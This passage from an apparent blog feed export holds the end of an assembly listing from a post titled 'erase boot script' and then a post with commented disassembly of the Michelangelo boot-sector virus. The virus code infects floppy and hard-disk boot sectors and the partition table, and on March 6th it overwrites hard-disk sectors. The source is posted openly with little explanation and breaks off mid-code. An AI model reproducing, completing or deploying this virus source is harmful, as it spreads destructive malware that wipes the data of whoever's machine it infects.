0FFH, 16H, 5, 11H, 2, 0FFH&lt;br /&gt;        DB    12 DUP (0FFH)&lt;br /&gt;        DB    5, 5, 0FFH&lt;br /&gt;        DB    15 DUP (0FFH)&lt;br /&gt;        DB    0FH, 0FFH, 23H, 2, 0FFH, 0FH&lt;br /&gt;        DB    0FFH, 0FFH, 0FFH, 0FFH, 13H, 0FFH&lt;br /&gt;        DB    0FFH, 2, 2, 5, 0FH, 2&lt;br /&gt;        DB    0FFH, 0FFH, 0FFH, 13H&lt;br /&gt;        DB    8 DUP (0FFH)&lt;br /&gt;        DB    23H, 0FFH, 0FFH, 0FFH, 0FFH, 23H&lt;br /&gt;        DB    0FFH, 13H, 0FFH, 0, 5AH, 3&lt;br /&gt;        DB    5AH, 3, 5AH, 3&lt;br /&gt;DATA_88        DW    0&lt;br /&gt;DATA_89        DW    1000H&lt;br /&gt;        DB    0, 0, 0, 0, 9, 2&lt;br /&gt;        DB    10 DUP (0)&lt;br /&gt;        DB    3EH, 2, 0, 0, 0AH, 2&lt;br /&gt;        DB    1&lt;br /&gt;        DB    9 DUP (0)&lt;br /&gt;        DB    4EH, 2, 0, 0, 2, 2&lt;br /&gt;        DB    2&lt;br /&gt;        DB    9 DUP (0)&lt;br /&gt;        DB    5EH, 2, 0, 0, 43H, 2&lt;br /&gt;        DB    3, 0&lt;br /&gt;        DB    8 DUP (0)&lt;br /&gt;        DB    6EH, 2, 0, 0, 42H, 2&lt;br /&gt;        DB    4, 0&lt;br /&gt;        DB    8 DUP (0)&lt;br /&gt;        DB    7EH, 2, 0, 0, 0, 0&lt;br /&gt;        DB    0FFH, 0&lt;br /&gt;        DB    8 DUP (0)&lt;br /&gt;        DB    8EH, 2, 0, 0, 0, 0&lt;br /&gt;        DB    0FFH, 0&lt;br /&gt;        DB    8 DUP (0)&lt;br /&gt;        DB    9EH, 2, 0, 0, 0, 0&lt;br /&gt;        DB    0FFH&lt;br /&gt;        DB    9 DUP (0)&lt;br /&gt;        DB    0AEH, 2, 0, 0, 0, 0&lt;br /&gt;        DB    0FFH&lt;br /&gt;        DB    9 DUP (0)&lt;br /&gt;        DB    0BEH, 2, 0, 0, 0, 0&lt;br /&gt;        DB    0FFH&lt;br /&gt;        DB    9 DUP (0)&lt;br /&gt;        DB    0CEH, 2, 0, 0, 0, 0&lt;br /&gt;        DB    0FFH&lt;br /&gt;        DB    9 DUP (0)&lt;br /&gt;        DB    0DEH, 2, 0, 0, 0, 0&lt;br /&gt;        DB    0FFH&lt;br /&gt;        DB    9 DUP (0)&lt;br /&gt;        DB    0EEH, 2, 0, 0, 0, 0&lt;br /&gt;        DB    0FFH&lt;br /&gt;        DB    9 DUP (0)&lt;br /&gt;        DB    0FEH, 2, 0, 0, 0, 0&lt;br /&gt;        DB    0FFH, 0&lt;br /&gt;        DB    8 DUP (0)&lt;br /&gt;        DB    0EH, 3, 0, 0, 0, 0&lt;br /&gt;        DB    0FFH&lt;br /&gt;        DB    9 DUP (0)&lt;br /&gt;        DB    1EH, 3, 0, 0, 0, 0&lt;br /&gt;        DB    0FFH&lt;br /&gt;        DB    9 DUP (0)&lt;br /&gt;        DB    2EH, 3, 0, 0, 0, 0&lt;br /&gt;        DB    0FFH&lt;br /&gt;        DB    9 DUP (0)&lt;br /&gt;        DB    3EH, 3, 0, 0, 0, 0&lt;br /&gt;        DB    0FFH&lt;br /&gt;        DB    9 DUP (0)&lt;br /&gt;        DB    4EH, 3, 0, 0, 0, 0&lt;br /&gt;        DB    0FFH&lt;br /&gt;        DB    9 DUP (0)&lt;br /&gt;        DB    5EH, 3, 0, 0, 0, 0&lt;br /&gt;        DB    0FFH&lt;br /&gt;        DB    9 DUP (0)&lt;br /&gt;        DB    6EH, 3, 1, 20H, 2, 20H&lt;br /&gt;        DB    2, 20H, 4, 0A0H, 2, 0A0H&lt;br /&gt;        DB    30 DUP (0FFH)&lt;br /&gt;        DB    0, 0, 0, 0&lt;br /&gt;        DB    'print scanf : floating point for'&lt;br /&gt;        DB    'mats not linked', 0DH, 0AH&lt;br /&gt;        DB    0, 0DH, 0, 28H, 6EH, 75H&lt;br /&gt;        DB    6CH, 6CH, 29H, 0&lt;br /&gt;        DB    '0123456789ABCDEF'&lt;br /&gt;DATA_111    DB    0            ; Data table (indexed access)&lt;br /&gt;        DB    14H, 14H, 1, 14H, 15H, 14H&lt;br /&gt;        DB    14H, 14H, 14H, 2, 0, 14H&lt;br /&gt;        DB    3, 4, 14H, 9, 5&lt;br /&gt;        DB    8 DUP (5)&lt;br /&gt;        DB    11 DUP (14H)&lt;br /&gt;        DB    0FH, 17H, 0FH, 8, 14H, 14H&lt;br /&gt;        DB    14H, 7, 14H, 16H&lt;br /&gt;        DB    9 DUP (14H)&lt;br /&gt;        DB    0DH, 14H, 14H&lt;br /&gt;        DB    8 DUP (14H)&lt;br /&gt;        DB    10H, 0AH, 0FH, 0FH, 0FH, 8&lt;br /&gt;        DB    0AH, 14H, 14H, 6, 14H, 12H&lt;br /&gt;        DB    0BH, 0EH, 14H, 14H, 11H, 14H&lt;br /&gt;        DB    0CH, 14H, 14H&lt;br /&gt;        DB    0DH&lt;br /&gt;        DB    7 DUP (14H)&lt;br /&gt;        DB    0&lt;br /&gt;DATA_117    DW    1D2H&lt;br /&gt;        DB    0D2H, 1, 0D9H, 1&lt;br /&gt;;*TA_118    DW    OFFSET SUB_53        ;*(0BCD)&lt;br /&gt;        DB    0CDH, 0BH&lt;br /&gt;        DB    0D2H, 0BH, 0D2H, 0BH, 0D2H, 0BH&lt;br /&gt;        DB    0&lt;br /&gt;        DB    63 DUP (0)&lt;br /&gt;DATA_120    DW    0&lt;br /&gt;DATA_121    DW    0&lt;br /&gt;DATA_122    DW    0&lt;br /&gt;        DB    0, 0, 0, 0, 0, 0&lt;br /&gt; &lt;br /&gt;SEG_B        ENDS&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;--------------------------------------------------------- STACK_SEG_C  ---&lt;br /&gt; &lt;br /&gt;STACK_SEG_C    SEGMENT    PARA STACK&lt;br /&gt; &lt;br /&gt;        DB    128 DUP (0)&lt;br /&gt; &lt;br /&gt;STACK_SEG_C    ENDS&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;br /&gt;        END    START&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34599328-115856734696779666?l=missendare.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://missendare.blogspot.com/feeds/115856734696779666/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34599328&amp;postID=115856734696779666&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856734696779666'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856734696779666'/><link rel='alternate' type='text/html' href='http://missendare.blogspot.com/2006/09/erase-boot-script.html' title='erase boot script'/><author><name>Miss EndarE</name><uri>http://www.blogger.com/profile/14074827578197836263</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34599328.post-115856608035626992</id><published>2006-09-18T14:53:00.000+07:00</published><updated>2006-09-18T14:54:49.323+07:00</updated><title type='text'>Michel angelo</title><content type='html'>&lt;span style="font-family: times new roman;"&gt;;     Michelangelo&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;     Size: 512&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;     Type: Boot infector&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;     Date of action: March 6th&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;data_1e        equ    4Ch            ; (0000:004C=1DB1h)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;data_2e        equ    4Eh            ; (0000:004E=70h)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;data_3e        equ    413h            ; (0000:0413=280h)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;data_4e        equ    7C05h            ; (0000:7C05=203Ch)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;data_5e        equ    7C0Ah            ; (0000:7C0A=49EBh)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;data_6e        equ    7C0Ch            ; (0000:7C0C=2A3Ch)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;data_7e        equ    7            ; (694E:0007=0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;data_8e        equ    8            ; (694E:0008=0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;data_9e        equ    0Ah            ; (694E:000A=0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;data_11e    equ    7C03h            ; (694E:7C03=0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;seg_a        segment&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        assume    cs:seg_a, ds:seg_a&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        org    100h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;mich        proc    far&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;start:                      &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        jmp    loc_6 ; (01AF) "This is what you see at sector 0"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    0F5h, 0, 80h, 9Fh, 2, 3 ; A lot of the virus is hidden&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    0, 56h, 2, 0, 0C8h, 1Eh ; in these defined bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    50h, 0Ah, 0D2h, 75h, 1Bh, 33h ; watch this carefully&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    0C0h, 8Eh, 0D8h, 0F6h, 6, 3Fh ; or you will miss where&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    4, 1, 75h, 10h, 58h, 1Fh ; it writes to your&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    9Ch, 2Eh, 0FFh, 1Eh, 0Ah, 0 ; partiton table&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    9Ch, 0E8h, 0Bh, 0, 9Dh, 0CAh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    2, 0, 58h, 1Fh, 2Eh, 0FFh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    2Eh, 0Ah, 0, 50h, 53h, 51h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    52h, 1Eh, 6, 56h, 57h, 0Eh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    1Fh, 0Eh, 7, 0BEh, 4, 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;loc_1: ;Init registers&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ax,201h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    bx,200h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    cx,1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        xor    dx,dx            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        pushf                ; Push flags&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        call    dword ptr ds:data_9e    ; (694E:000A=0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        jnc    loc_2            ; Jump if carry=0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        xor    ax,ax            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        pushf                ; Push flags&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        call    dword ptr ds:data_9e    ; (694E:000A=0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        dec    si&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        jnz    loc_1            ; Jump if not zero&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        jmp    short loc_5        ; (01A6)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;loc_2: ;Zero registers clear direction&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        xor    si,si            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        cld                ; Clear direction&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        lodsw                ; String [si] to ax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        cmp    ax,[bx]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        jne    loc_3            ; Jump if not equal&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        lodsw                ; String [si] to ax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        cmp    ax,[bx+2]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        je    loc_5            ; Jump if equal&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;loc_3: ; cmp byte ptr See infected&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ax,301h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    dh,1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    cl,3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        cmp    byte ptr [bx+15h],0FDh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        je    loc_4            ; Jump if equal&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    cl,0Eh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;loc_4: ;call out all db hiden data&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ds:data_8e,cx        ; (694E:0008=0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        pushf                ; Push flags&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        call    dword ptr ds:data_9e    ; (694E:000A=0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        jc    loc_5            ; Jump if carry Set&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    si,3BEh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    di,1BEh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    cx,21h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        cld                ; Clear direction&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        rep    movsw            ; Rep while cx&gt;0 Mov [si]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ax,301h                 ; to es:[di]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        xor    bx,bx            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    cx,1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        xor    dx,dx            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        pushf                ; Push flags&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        call    dword ptr ds:data_9e    ; (694E:000A=0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;loc_5: ;Clear all set&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        pop    di&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        pop    si&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        pop    es&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        pop    ds&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        pop    dx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        pop    cx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        pop    bx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        pop    ax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        retn&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;loc_6: ;Load all hiden data&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        xor    ax,ax            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ds,ax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        cli                ; Disable interrupts&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ss,ax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ax,7C00h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    sp,ax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        sti                ; Enable interrupts&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        push    ds&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        push    ax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ax,ds:data_1e        ; (0000:004C=1DB1h)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ds:data_5e,ax        ; (0000:7C0A=49EBh)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ax,ds:data_2e        ; (0000:004E=70h)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ds:data_6e,ax        ; (0000:7C0C=2A3Ch)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ax,ds:data_3e        ; (0000:0413=280h)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        dec    ax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        dec    ax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ds:data_3e,ax        ; (0000:0413=280h)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    cl,6&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        shl    ax,cl            ; Shift w/zeros fill&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    es,ax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ds:data_4e,ax        ; (0000:7C05=203Ch)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ax,0Eh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ds:data_1e,ax        ; (0000:004C=1DB1h)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ds:data_2e,es        ; (0000:004E=70h)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    cx,1BEh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    si,7C00h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        xor    di,di            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        cld                ; Clear direction&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        rep    movsb            ; Rep while cx&gt;0 Mov [si]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        jmp    dword ptr cs:data_11e    ; to es:[di] (694E:7C03=0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    33h, 0C0h, 8Eh, 0C0h, 0CDh, 13h ;&lt;- Notice all the&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    0Eh, 1Fh, 0B8h, 1, 2, 0BBh      ;          cd 13&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    0, 7Ch, 8Bh, 0Eh, 8, 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    83h, 0F9h, 7, 75h, 7, 0BAh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    80h, 0, 0CDh, 13h, 0EBh, 2Bh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    8Bh, 0Eh, 8, 0, 0BAh, 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    1, 0CDh, 13h, 72h, 20h, 0Eh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    7, 0B8h, 1, 2, 0BBh, 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    2, 0B9h, 1, 0, 0BAh, 80h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    0, 0CDh, 13h, 72h, 0Eh, 33h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    0F6h, 0FCh, 0ADh, 3Bh, 7, 75h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    4Fh, 0ADh, 3Bh, 47h, 2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        db    75h, 49h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;loc_7:;check if it is time to nuke&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        xor    cx,cx            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ah,4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        int    1Ah ; Real time clock   ah=func 04h don't work on an xt&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ; read date cx=year, dx=mon/day&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        cmp    dx,306h                 ; See if March 6th&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        je    loc_8            ; Jump if equal to nuking subs&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        retf                ; Return to launch command.com&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;loc_8:;get ready&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        xor    dx,dx            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    cx,1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;loc_9:;run 7 times nuke 31.5 megs of hd&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ax,309h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    si,ds:data_8e        ; (694E:0008=0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        cmp    si,3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        je    loc_10            ; Jump if equal&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    al,0Eh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        cmp    si,0Eh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        je    loc_10            ; Jump if equal&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    dl,80h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    byte ptr ds:data_7e,4    ; (694E:0007=0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    al,11h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;loc_10: ;nuke away &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    bx,5000h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    es,bx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        int    13h            ; Disk  dl=drive a: ah=func 03h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  write sectors from mem es:bx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        jnc    loc_11            ; Jump if carry=0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        xor    ah,ah            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        int    13h            ; Disk  dl=drive a: ah=func 00h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  reset disk, al=return status&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;loc_11: ;rest for loc-9 nuking&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        inc    dh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        cmp    dh,ds:data_7e        ; (694E:0007=0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        jb    loc_9            ; Jump if below&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        xor    dh,dh            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        inc    ch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        jmp    short loc_9        ; (0250)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;loc_12:;time to infect a floppie or hard dirve&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    cx,7&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ds:data_8e,cx        ; (694E:0008=0)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ax,301h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    dx,80h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        int    13h    ; Disk  dl=drive a: ah=func 03h infect flopie&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  write sectors from mem es:bx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        jc    loc_7            ; Jump if carry Set&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    si,3BEh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    di,1BEh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    cx,21h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        rep    movsw            ; Rep while cx&gt;0 Mov [si]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        mov    ax,301h                 : to es:[di]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        xor    bx,bx            ; Zero register&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        inc    cl&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;        int    13h ; Disk  dl=drive a: ah=func 03h lets infect hd&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                        ;  